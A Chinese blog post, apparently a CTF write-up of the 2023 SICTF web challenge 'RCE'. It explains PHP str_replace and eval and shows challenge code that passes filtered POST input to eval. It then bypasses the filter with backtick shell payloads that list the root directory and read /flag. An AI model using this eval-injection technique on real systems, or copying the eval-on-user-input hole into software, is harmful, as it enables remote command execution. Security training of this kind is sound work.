当前位置: 首页 > news >正文

2023SICTF-web-白猫-RCE

0×01 分析题目

题目名称: RCE 题目简介: 请bypass我! 题目环境: http://210.44.151.51:10088/

函数理解:
#PHP str_replace() 函数

<!DOCTYPE html>
<html>
<body><?php
echo str_replace("world","Shanghai","Hello world!");
?></body>
</html>

Hello Shanghai!
定义和用法
str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。
该函数必须遵循下列规则:

1.如果搜索的字符串是数组,那么它将返回数组。
2.如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。
3.如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
4.如果查找的是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用。

#语法

str_replace(find,replace,string,count)

参数

1.find 必需。规定要查找的值。
2.replace 必需。规定替换 find 中的值的值。
3.string 必需。规定被搜索的字符串。
4.count 可选。对替换数进行计数的变量。

#eval() 函数把字符串按照 PHP 代码来计算。

环境代码:

<?php #PHP开始代码,头代码 error_reporting(0); #屏蔽所有报错信息 highlight_file(__FILE__); #文件高亮显示,将代码呈现出来 $code = $_POST['code']; #定义了一个code参数,通过$_POST方法获取code参数的值 $code = str_replace("(","hacker",$code); #将参数code里面的(替换为hacker $code = str_replace(".","hacker",$code); #将参数code里面的.替换为hacker eval($code); #将参数code的值或者字符串作为PHP代码来执行 ?> #执行

不难看出题目中进行了(和.的过滤,我们的进行RCE绕过

0×02 开始解题

我们可以利用反引号执行命令 echo输出
code=echo ls /;
输出了根/目录下的所有文件及其目录
看到一个名为flag的文件
使用cat命令去查看里面的内容
code=echo cat /flag;
最终曝出了flag

http://www.lryc.cn/news/248791.html

相关文章:

  • 1.用数组输出0-9
  • Selenium 元素不能定位总结
  • 1-2 非阻塞延时实现LED闪烁功能(累计定时中断次数)--多路软件定时器的功能实现
  • 数据类型及强制转换
  • Python----高阶函数
  • Unity地面交互效果——6、地形动态顶点置换和曲面细分
  • Linux系统服务之一次性服务(2)
  • Vue项目解决van-calendar 显示白色空白,需滑动一下屏幕,才可正常显示
  • Linux:可视化管理工具Webmin的安装
  • WARNING: Access control is not enabled for the database.
  • JavaScript编程进阶 – Return语句
  • Python与设计模式--备忘录模式
  • 04_Flutter自定义Slider滑块
  • 服务器数据恢复—EMC存储raid5故障导致上层应用崩溃的数据恢复案例
  • 7.1 Windows驱动开发:内核监控进程与线程回调
  • 基于ssm的汽车论坛管理系统设计与实现
  • 实习开发日志经验总结(一)
  • 【Unity基础】8.简单场景的搭建
  • 傅里叶变换及其在机器学习中的应用
  • xorm源码学习
  • Vue3中的<script setup>和<script>的区别
  • Docker笔记-Docker搭建最新版zabbix服务端(2023-07-31)
  • QT配合CSS隐藏按钮
  • 2023亚太地区数学建模C题思路分析+模型+代码+论文
  • Linguistic Steganalysis in Few-Shot Scenario论文阅读笔记
  • 详细学习Pyqt5的4种项目部件(Item Widget)
  • notepad++ 插件JSONView安装
  • AKConv:具有任意采样形状和任意数目参数的卷积核
  • 如何使用C++开发集群服务
  • docker安装以及idea访问docker